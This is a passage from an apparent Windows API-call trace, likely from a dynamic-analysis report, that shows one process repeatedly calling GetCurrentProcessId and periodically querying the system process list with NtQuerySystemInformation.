0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.205] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.206] GetCurrentProcessId () returned 0x10c0 [0235.207] GetCurrentProcessId () returned 0x10c0 [0235.207] GetCurrentProcessId () returned 0x10c0 [0235.207] GetCurrentProcessId () returned 0x10c0 [0235.207] GetCurrentProcessId () returned 0x10c0 [0235.207] GetCurrentProcessId () returned 0x10c0 [0235.207] GetCurrentProcessId () returned 0x10c0 [0235.207] GetCurrentProcessId () returned 0x10c0 [0235.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dac0) returned 0x0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.841] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.842] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.843] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0235.844] GetCurrentProcessId () returned 0x10c0 [0236.433] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1dac0) returned 0x0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.440] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.441] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.442] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.443] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.444] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.445] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0236.446] GetCurrentProcessId () returned 0x10c0 [0237.066] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.068] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.069] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.070] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.071] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.072] GetCurrentProcessId () returned 0x10c0 [0237.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.866] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.867] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.868] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.869] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.870] GetCurrentProcessId () returned 0x10c0 [0237.871] GetCurrentProcessId () returned 0x10c0 [0237.871] GetCurrentProcessId () returned 0x10c0 [0237.871] GetCurrentProcessId () returned 0x10c0 [0237.871] GetCurrentProcessId () returned 0x10c0 [0237.871] GetCurrentProcessId () returned 0x10c0 [0237.871] GetCurrentProcessId () returned 0x10c0 [0237.871] GetCurrentProcessId () returned 0x10c0 [0237.871] GetCurrentProcessId () returned 0x10c0 [0238.149] GetCurrentProcessId () returned 0x10c0 [0238.149] GetCurrentProcessId () returned 0x10c0 [0238.149] GetCurrentProcessId () returned 0x10c0 [0238.764] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.767] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.768] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] GetCurrentProcessId () returned 0x10c0 [0238.769] 